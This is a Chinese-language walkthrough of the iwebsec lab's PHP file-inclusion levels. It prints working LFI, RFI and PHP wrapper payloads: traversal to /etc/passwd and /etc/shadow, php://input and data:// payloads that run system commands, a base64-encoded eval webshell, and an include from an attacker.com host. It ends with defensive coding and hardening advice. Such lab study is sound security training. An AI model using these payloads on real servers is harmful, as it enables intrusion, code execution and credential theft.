PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析
PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析
在 Web 安全领域,文件包含漏洞(File Inclusion Vulnerability)一直是渗透测试中的高频攻击点。iwebsec 靶场作为国内知名的 Web 安全实战平台,其文件包含模块设计了 10 个由浅入深的关卡,全面覆盖了本地文件包含(LFI)、远程文件包含(RFI)、Session 文件包含以及 PHP 伪协议利用等核心攻击手法。本文将基于实战视角,系统性地拆解这 10 个关卡的技术要点,并深入分析 3 类关键伪协议的底层原理与创新利用方式。
1. 靶场环境搭建与基础概念
1.1 Docker 靶场快速部署
使用官方提供的 Docker 镜像可在 30 秒内完成环境搭建:
docker pull iwebsec/iwebsec:latest docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec访问http://localhost:8001即可进入靶场界面,文件包含漏洞模块路径为/fi/目录。
1.2 文件包含漏洞本质
当 PHP 代码使用以下函数动态包含文件时,若未对参数进行严格过滤,则可能引发漏洞:
include($_GET['file']); require_once($path.'header.php');攻击者通过控制文件路径参数,可实现:
- 读取服务器敏感文件(/etc/passwd)
- 执行任意 PHP 代码(WebShell)
- 触发反序列化漏洞
漏洞类型对比表:
| 类型 | 触发条件 | 典型危害 |
|---|---|---|
| 本地文件包含(LFI) | 能访问服务器本地文件 | 敏感信息泄露、代码执行 |
| 远程文件包含(RFI) | allow_url_include=On | 直接获取服务器控制权 |
| Session 文件包含 | Session 内容可控 | 权限提升、持久化后门 |
2. 基础关卡:本地文件包含实战
2.1 关卡 1:直接文件包含
漏洞代码:
// fi/01.php $filename = $_GET['filename']; include($filename);利用方式:
http://localhost:8001/fi/01.php?filename=../../../../etc/passwd关键技巧:
- 使用
../进行目录遍历 - Linux 常见敏感文件路径:
/etc/passwd # 用户账户信息 /proc/self/environ # 环境变量 /var/log/apache2/access.log # Web日志
2.2 关卡 2:过滤绕过技术
当系统过滤/字符时,可采用以下手法:
方法一:URL 编码绕过
?filename=..%2f..%2f..%2fetc%2fpasswd方法二:超长路径截断(PHP<5.2.8)
# 生成 4096 个字符的路径 payload = './'*2048 + 'etc/passwd'3. 高阶利用:Session 与伪协议
3.1 关卡 3:Session 文件包含
攻击链构建:
- 发现 Session 可控点:
/fi/03.php?iwebsec=<?php phpinfo();?> - 获取 Session ID:
// Chrome DevTools -> Application -> Cookies document.cookie.match(/PHPSESSID=([^;]+)/)[1] - 包含 Session 文件:
/fi/01.php?filename=../../../../var/lib/php/sessions/sess_abc123
Session 文件路径规律:
- 默认路径:
/var/lib/php/sessions/ - 命名规则:
sess_[PHPSESSID]
3.2 关卡 6-8:PHP 伪协议深度利用
3.2.1 php://filter 协议
源码读取技巧:
/fi/06.php?filename=php://filter/convert.base64-encode/resource=index.php提示:Base64 编码可避免 PHP 代码被直接执行
过滤器链组合应用:
# 多重编码绕过WAF payload = 'php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-encode/resource=config.php'3.2.2 php://input 协议
POST 数据执行:
GET /fi/07.php?filename=php://input HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded <?php system("id");?>木马写入技巧:
<?php file_put_contents('shell.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7'));4. 远程文件包含与特殊协议
4.1 关卡 4-5:RFI 利用条件
必要配置检查:
// php.ini 关键配置 allow_url_fopen = On allow_url_include = On绕过域名限制技巧:
/fi/05.php?filename=http://attacker.com/shell.txt? /fi/05.php?filename=http://127.0.0.1:8080/bypass.txt%234.2 关卡 9-10:data:// 与 file:// 协议
data:// 代码执行:
/fi/10.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==file:// 绝对路径读取:
/fi/09.php?filename=file:///etc/shadow5. 防御方案与实战建议
5.1 安全编码规范
// 白名单校验 $allowed = ['header.php', 'footer.php']; if(in_array($file, $allowed)) { include($file); } // 路径固定化 define('BASE_DIR', '/var/www/includes/'); include(BASE_DIR . $file);5.2 服务器加固措施
- PHP 配置优化:
allow_url_include = Off open_basedir = /var/www/html:/tmp - 文件权限控制:
chmod -R 750 /var/www chown -R www-data:www-data /var/www
在实战渗透测试中,文件包含漏洞往往与文件上传、SQL 注入等漏洞形成组合攻击链。建议在 iwebsec 靶场中尝试以下进阶练习:
- 通过 LFI 读取数据库配置文件
- 结合日志文件包含实现无文件攻击
- 利用 phar:// 协议触发反序列化
